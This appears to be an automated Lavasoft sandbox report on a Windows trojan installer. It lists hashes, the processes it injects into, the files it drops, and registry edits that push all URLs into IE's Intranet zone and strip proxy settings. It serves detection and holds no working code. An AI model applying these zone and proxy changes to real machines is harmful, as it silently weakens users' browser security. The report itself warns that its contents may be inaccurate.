Trojan.NSIS.StartPage.FD, Trojan.Win32.IEDummy.FD, mzpefinder_pcap_file.YR (Lavasoft MAS)Behaviour: Trojan
The description has been automatically generated by Lavasoft Malware Analysis System and it may contain incomplete or inaccurate information.
Summary
MD5: 59e6b6aaed755aed3c7931b62e7f8369
SHA1: 6dc2a60a34b805cc921a8b6a6df4ceb8d00abaec
SHA256: 2dc9c2c864b517a6abdd591c1865b4ceb6c53d7f6279a1c77fc7f1fde0a64d89
SSDeep: 3072:5gXdZt9P6D3XJ43Y6pvTOFD hNnTjqt2aT/O4VQOZFf0I:5e34u7T1jovQkFf0I
Size: 142855 bytes
File type: EXE
Platform: WIN32
Entropy: Packed
PEID: UPolyXv05_v6
Company: MC
Created at: 2009-12-06 00:50:52
Analyzed on: WindowsXP SP3 32-bit
Summary: Trojan. A program that appears to do one thing but actually does another (a.k.a. Trojan Horse).
Dynamic Analysis
Payload
No specific payload has been found.
Process activity
The Trojan creates the following process(es):
MYLogger.exe:776
9377mycs_Y_mgaz2_01.exe:1104
The Trojan injects its code into the following process(es):
ntvdm.exe:1436
ntvdm.exe:280
%original file name%.exe:1388
MYLogger.exe:284
Mutexes
The following mutexes were created/opened:No objects were found.
File activity
The process ntvdm.exe:1436 makes changes in the file system.
The Trojan creates and/or writes to the following file(s):
%WinDir%\Temp\scs9.tmp (33880 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsz2.tmp (4 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp (4 bytes)
%WinDir% (192 bytes)
%WinDir%\Temp\scsA.tmp (10145 bytes)
C:\$Directory (4 bytes)
%System% (3048 bytes)
The Trojan deletes the following file(s):
%WinDir%\Temp\scs9.tmp (0 bytes)
%WinDir%\Temp\scsA.tmp (0 bytes)
The process ntvdm.exe:280 makes changes in the file system.
The Trojan creates and/or writes to the following file(s):
C:\ (4 bytes)
%Documents and Settings%\%current user%\FAVORITES (4 bytes)
%Program Files%\MESSENGER (4 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp (4 bytes)
%Program Files%\Internet Explorer (4 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\index.dat (636 bytes)
%Documents and Settings%\%current user%\Local Settings (4 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\wireshark.txt (992 bytes)
%Documents and Settings%\All Users (4 bytes)
%WinDir% (1152 bytes)
C:\$Directory (1236 bytes)
%Program Files%\Windows NT (4 bytes)
%System% (6176 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsz2.tmp (4 bytes)
%WinDir%\WinSxS\Policies\x86_Policy.8.0.Microsoft.VC80.CRT_1fc8b3b9a1e18e3b_x-ww_77c24773 (4 bytes)
%Program Files% (4 bytes)
%System%\config (8 bytes)
%Documents and Settings%\All Users\Start Menu (4 bytes)
%Program Files%\9377÷ÈÓ°´«Ëµ (4 bytes)
%WinDir%\Temp\scs7.tmp (33880 bytes)
%Documents and Settings%\%current user% (4 bytes)
%Documents and Settings%\%current user%\Local Settings\History\History.IE5\index.dat (484 bytes)
%WinDir%\Temp\Perflib_Perfdata_668.dat (4 bytes)
%Program Files%\Common Files\Adobe\Acrobat\ActiveX (4 bytes)
%Documents and Settings%\All Users\Start Menu\Programs (4 bytes)
%WinDir%\Temp\scs8.tmp (10145 bytes)
%Documents and Settings%\%current user%\Cookies (192 bytes)
The Trojan deletes the following file(s):
%WinDir%\Temp\scs8.tmp (0 bytes)
%WinDir%\Temp\scs7.tmp (0 bytes)
The process %original file name%.exe:1388 makes changes in the file system.
The Trojan creates and/or writes to the following file(s):
%Documents and Settings%\%current user%\Start Menu\Programs\120148\uninst.lnk (713 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\4DQJW9YN\ins1256858[1].exe (65488 bytes)
%Documents and Settings%\%current user%\Cookies\Current_User@baidu[1].txt (196 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\desktop.ini (67 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\4DQJW9YN\9377mycs_Y_mgaz2_01[1].exe (43024 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsz2.tmp\F0916_s_30911.exe (6 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsz2.tmp\G0828_s_70988.exe (6 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsz2.tmp\System.dll (11 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsz2.tmp\ins1256858.exe (65488 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsz2.tmp\inetc.dll (20 bytes)
%Documents and Settings%\%current user%\Desktop\Intrenet Explorer.lnk (1 bytes)
%Documents and Settings%\%current user%\Cookies\index.dat (964 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsz2.tmp\NsProcess.dll (4 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsz2.tmp\9377mycs_Y_mgaz2_01.exe (43024 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\WLMVCPYN\iplookup[1].htm (20 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\4DQJW9YN\desktop.ini (67 bytes)
%Program Files%\120148\Uninstall.exe (673 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\WLMVCPYN\desktop.ini (67 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsz2.tmp\2.ico (9291 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsz2.tmp\1.rar (20 bytes)
The Trojan deletes the following file(s):
%Documents and Settings%\%current user%\Local Settings\Temp\nsz2.tmp (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsz2.tmp\4.ico (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsz2.tmp\QQBrowser_Setup_Hk_78653.exe (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsz2.tmp\BaiduPlayerNetSetup_481.exe (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsz1.tmp (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsz2.tmp\netbian_a_41763.exe (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsz2.tmp\setup_3386.exe (0 bytes)
The process MYLogger.exe:284 makes changes in the file system.
The Trojan creates and/or writes to the following file(s):
%Documents and Settings%\%current user%\Cookies\Current_User@9377[1].txt (122 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\OPQNSD2J\quick_register[1].jpg (392 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\WLMVCPYN\jquery.Slideshow[2].js (9 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\4DQJW9YN\fast_register[2].js (6 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\OPQISTQM\pc_new[1].css (1 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\OPQISTQM\ajax[1].js (3848 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\4DQJW9YN\fast_register[1].js (2 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\WLMVCPYN\jquery.Slideshow[1].js (3 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\OPQISTQM\desktop.ini (67 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\OPQNSD2J\wczc_btn[1].jpg (392 bytes)
%Documents and Settings%\%current user%\Cookies\index.dat (1928 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\OPQNSD2J\desktop.ini (67 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\OPQISTQM\pc_new[2].css (5 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\WLMVCPYN\input_bg[1].jpg (6 bytes)
%Documents and Settings%\%current user%\Cookies\Current_User@9377[2].txt (266 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\OPQNSD2J\ajax[1].js (5745 bytes)
The Trojan deletes the following file(s):
%Documents and Settings%\%current user%\Cookies\Current_User@9377[1].txt (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\OPQISTQM\pc_new[1].css (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\OPQISTQM\ajax[1].js (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\4DQJW9YN\fast_register[1].js (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\WLMVCPYN\jquery.Slideshow[1].js (0 bytes)
%Documents and Settings%\%current user%\Local Settings\History\History.IE5\MSHist012014041520140416\index.dat (0 bytes)
%Documents and Settings%\%current user%\Local Settings\History\History.IE5\MSHist012014041520140416 (0 bytes)
The process 9377mycs_Y_mgaz2_01.exe:1104 makes changes in the file system.
The Trojan creates and/or writes to the following file(s):
%Documents and Settings%\All Users\Start Menu\Programs\9377÷ÈÓ°´«Ëµ\uninstall.lnk (1 bytes)
%Program Files%\9377÷ÈÓ°´«Ëµ\MeiYing.dll (16288 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsn6.tmp\ip.dll (784 bytes)
%Documents and Settings%\All Users\Desktop\9377÷ÈÓ°´«Ëµ.lnk (1 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsn6.tmp\System.dll (11 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsn6.tmp\inetc.dll (784 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsn5.tmp (32278 bytes)
%Program Files%\9377÷ÈÓ°´«Ëµ\9377÷ÈÓ°´«Ëµ.lnk (1 bytes)
%Program Files%\9377÷ÈÓ°´«Ëµ\MYLogger.exe (13368 bytes)
%Program Files%\9377÷ÈÓ°´«Ëµ\uninstall.exe (2275 bytes)
%Program Files%\9377÷ÈÓ°´«Ëµ\MYLogger.ini (595 bytes)
%Documents and Settings%\All Users\Start Menu\Programs\9377÷ÈÓ°´«Ëµ\9377÷ÈÓ°´«Ëµ.lnk (1 bytes)
The Trojan deletes the following file(s):
%Documents and Settings%\%current user%\Local Settings\Temp\nsn6.tmp\ip.dll (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsn6.tmp (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsn4.tmp (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsn6.tmp\inetc.dll (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsn6.tmp\System.dll (0 bytes)
Registry activity
The process %original file name%.exe:1388 makes changes in the system registry.
The Trojan creates and/or sets the following values in system registry:
[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Programs" = "%Documents and Settings%\%current user%\Start Menu\Programs"
[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths]
"Directory" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5"
[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path4]
"CacheLimit" = "65452"
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache4"
[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections]
"SavedLegacySettings" = "3C 00 00 00 1D 00 00 00 01 00 00 00 00 00 00 00"
[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"AppData" = "%Documents and Settings%\%current user%\Application Data"
[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common Start Menu" = "%Documents and Settings%\All Users\Start Menu"
"Common Documents" = "%Documents and Settings%\All Users\Documents"
[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Personal" = "%Documents and Settings%\%current user%\My Documents"
[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd73-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"
[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Cookies" = "%Documents and Settings%\%current user%\Cookies"
[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path2]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache2"
[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common AppData" = "%Documents and Settings%\All Users\Application Data"
[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd75-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"
[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"CommonMusic" = "%Documents and Settings%\All Users\Documents\My Music"
"Common Desktop" = "%Documents and Settings%\All Users\Desktop"
[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Cache" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files"
"Desktop" = "%Documents and Settings%\%current user%\Desktop"
[HKLM\System\CurrentControlSet\Hardware Profiles\0001\Software\Microsoft\windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"
[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"My Pictures" = "%Documents and Settings%\%current user%\My Documents\My Pictures"
[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path1]
"CacheLimit" = "65452"
[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Start Menu" = "%Documents and Settings%\%current user%\Start Menu"
[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path2]
"CacheLimit" = "65452"
[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"CommonVideo" = "%Documents and Settings%\All Users\Documents\My Videos"
"CommonPictures" = "%Documents and Settings%\All Users\Documents\My Pictures"
[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "80 79 4C BE F4 1A D0 F8 0F 36 F0 E0 52 C4 99 B1"
[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path1]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache1"
[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path3]
"CacheLimit" = "65452"
[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"MigrateProxy" = "1"
[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd72-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"
[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{b98117e8-75ca-11e2-81b2-000c293708fb}]
"BaseClass" = "Drive"
[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path3]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache3"
[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths]
"Paths" = "4"
[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"History" = "%Documents and Settings%\%current user%\Local Settings\History"
The Trojan modifies IE settings for security zones to map all local web-nodes with no dots which do not refer to any zone to the Intranet Zone:
[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"UNCAsIntranet" = "1"
The Trojan modifies IE settings for security zones to map all web-nodes that bypassing the proxy to the Intranet Zone:
"ProxyBypass" = "1"
Proxy settings are disabled:
[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"
The Trojan modifies IE settings for security zones to map all urls to the Intranet Zone:
[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"IntranetName" = "1"
The Trojan deletes the following value(s) in system registry:
[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"AutoConfigURL"
"ProxyServer"
"ProxyOverride"
The process MYLogger.exe:776 makes changes in the system registry.
The Trojan creates and/or sets the following values in system registry:
[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "47 04 95 E2 F8 C1 9F EF 57 14 D2 8B B9 79 14 60"
The process MYLogger.exe:284 makes changes in the system registry.
The Trojan creates and/or sets the following values in system registry:
[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd72-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"
[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Extensible Cache\MSHist012016050920160510]
"CacheOptions" = "11"
[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths]
"Directory" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5"
[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path4]
"CacheLimit" = "65452"
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache4"
[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path2]
"CacheLimit" = "65452"
[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"AppData" = "%Documents and Settings%\%current user%\Application Data"
[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Extensible Cache\MSHist012016050920160510]
"CachePath" = "%USERPROFILE%\Local Settings\History\History.IE5\MSHist012016050920160510\"
[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd73-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"
[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Cookies" = "%Documents and Settings%\%current user%\Cookies"
[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path2]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache2"
[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common AppData" = "%Documents and Settings%\All Users\Application Data"
[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd75-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"
[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Extensible Cache\MSHist012016050920160510]
"CacheRepair" = "0"
[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Cache" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files"
[HKLM\System\CurrentControlSet\Hardware Profiles\0001\Software\Microsoft\windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"
[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path1]
"CacheLimit" = "65452"
[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections]
"SavedLegacySettings" = "3C 00 00 00 20 00 00 00 01 00 00 00 00 00 00 00"
[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "21 98 E8 36 B6 B4 B2 2B 15 60 78 1C DE 0C 7A EB"
[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path1]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache1"
[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path3]
"CacheLimit" = "65452"
[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"MigrateProxy" = "1"
[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"History" = "%Documents and Settings%\%current user%\Local Settings\History"
[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{b98117e8-75ca-11e2-81b2-000c293708fb}]
"BaseClass" = "Drive"
[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Extensible Cache\MSHist012016050920160510]
"CachePrefix" = ":2016050920160510:"
[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path3]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache3"
[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths]
"Paths" = "4"
[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Extensible Cache\MSHist012016050920160510]
"CacheLimit" = "8192"
The Trojan modifies IE settings for security zones to map all local web-nodes with no dots which do not refer to any zone to the Intranet Zone:
[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"UNCAsIntranet" = "1"
The Trojan modifies IE settings for security zones to map all web-nodes that bypassing the proxy to the Intranet Zone:
"ProxyBypass" = "1"
Proxy settings are disabled:
[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"
The Trojan modifies IE settings for security zones to map all urls to the Intranet Zone:
[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"IntranetName" = "1"
The Trojan deletes the following registry key(s):
[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Extensible Cache\MSHist012014041520140416]
The Trojan deletes the following value(s) in system registry:
[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"AutoConfigURL"
"ProxyServer"
"ProxyOverride"
The process 9377mycs_Y_mgaz2_01.exe:1104 makes changes in the system registry.
The Trojan creates and/or sets the following values in system registry:
[HKCU\Software\Microsoft\Windows\CurrentVersion\Uninstall\9377÷ÈÓ°´«Ëµ]
"NoModify" = "1"
[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths]
"Directory" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5"
[HKCU\Software\9377÷ÈÓ°´«Ëµ]
"(Default)" = "%Program Files%\9377÷ÈÓ°´«Ëµ"
[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path4]
"CacheLimit" = "65452"
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache4"
[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections]
"SavedLegacySettings" = "3C 00 00 00 1E 00 00 00 01 00 00 00 00 00 00 00"
[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"AppData" = "%Documents and Settings%\%current user%\Application Data"
[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common Start Menu" = "%Documents and Settings%\All Users\Start Menu"
"Common Documents" = "%Documents and Settings%\All Users\Documents"
[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Personal" = "%Documents and Settings%\%current user%\My Documents"
[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd73-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"
[HKCU\Software\Microsoft\Windows\CurrentVersion\Uninstall\9377÷ÈÓ°´«Ëµ]
"DisplayName" = "9377÷ÈÓ°´«Ëµ"
[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Cookies" = "%Documents and Settings%\%current user%\Cookies"
[HKCU\Software\Microsoft\Windows\CurrentVersion\Uninstall\9377÷ÈÓ°´«Ëµ]
"UninstallString" = "%Program Files%\9377÷ÈÓ°´«Ëµ\uninstall.exe"
[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path2]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache2"
[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common AppData" = "%Documents and Settings%\All Users\Application Data"
[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd75-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"
[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"CommonMusic" = "%Documents and Settings%\All Users\Documents\My Music"
"Common Desktop" = "%Documents and Settings%\All Users\Desktop"
[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Cache" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files"
"Desktop" = "%Documents and Settings%\%current user%\Desktop"
[HKLM\System\CurrentControlSet\Hardware Profiles\0001\Software\Microsoft\windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"
[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"My Pictures" = "%Documents and Settings%\%current user%\My Documents\My Pictures"
[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path1]
"CacheLimit" = "65452"
[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Start Menu" = "%Documents and Settings%\%current user%\Start Menu"
[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path2]
"CacheLimit" = "65452"
[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"CommonVideo" = "%Documents and Settings%\All Users\Documents\My Videos"
"CommonPictures" = "%Documents and Settings%\All Users\Documents\My Pictures"
[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "F5 ED 10 29 65 DA FD 74 38 AF AD 89 32 6A 51 B5"
[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common Programs" = "%Documents and Settings%\All Users\Start Menu\Programs"
[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path1]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache1"
[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path3]
"CacheLimit" = "65452"
[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"MigrateProxy" = "1"
[HKCU\Software\Microsoft\Windows\CurrentVersion\Uninstall\9377÷ÈÓ°´«Ëµ]
"NoRepair" = "1"
[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd72-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"
[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{b98117e8-75ca-11e2-81b2-000c293708fb}]
"BaseClass" = "Drive"
[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path3]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache3"
[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths]
"Paths" = "4"
[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"History" = "%Documents and Settings%\%current user%\Local Settings\History"
The Trojan modifies IE settings for security zones to map all local web-nodes with no dots which do not refer to any zone to the Intranet Zone:
[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"UNCAsIntranet" = "1"
The Trojan modifies IE settings for security zones to map all web-nodes that bypassing the proxy to the Intranet Zone:
"ProxyBypass" = "1"
Proxy settings are disabled:
[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"
The Trojan modifies IE settings for security zones to map all urls to the Intranet Zone:
[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"IntranetName" = "1"
The Trojan deletes the following value(s) in system registry:
[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"AutoConfigURL"
"ProxyServer"
"ProxyOverride"
Dropped PE files
MD5 | File path |
---|---|
11a03edd815fdfde672df5e0c9db1ecd | c:\Documents and Settings\"%CurrentUserName%"\Local Settings\Temp\nsz2.tmp\9377mycs_Y_mgaz2_01.exe |
05450face243b3a7472407b999b03a72 | c:\Documents and Settings\"%CurrentUserName%"\Local Settings\Temp\nsz2.tmp\NsProcess.dll |
c17103ae9072a06da581dec998343fc1 | c:\Documents and Settings\"%CurrentUserName%"\Local Settings\Temp\nsz2.tmp\System.dll |
50fdadda3e993688401f6f1108fabdb4 | c:\Documents and Settings\"%CurrentUserName%"\Local Settings\Temp\nsz2.tmp\inetc.dll |
11a03edd815fdfde672df5e0c9db1ecd | c:\Documents and Settings\"%CurrentUserName%"\Local Settings\Temporary Internet Files\Content.IE5\4DQJW9YN\9377mycs_Y_mgaz2_01[1].exe |
e62edf270beee5820e781404b6792cbc | c:\Program Files\9377÷ÈÓ°´«Ëµ\MYLogger.exe |
b383bf5a47c46d6a22b1c3d383edc87c | c:\Program Files\9377÷ÈÓ°´«Ëµ\MeiYing.dll |
1d4b24538bde98104eda1b5d3cff1fc5 | c:\Program Files\9377÷ÈÓ°´«Ëµ\uninstall.exe |
HOSTS file anomalies
No changes have been detected.
Rootkit activity
No anomalies have been detected.
Propagation
Removals
Remove it with Ad-Aware
- Click (here) to download and install Ad-Aware Free Antivirus.
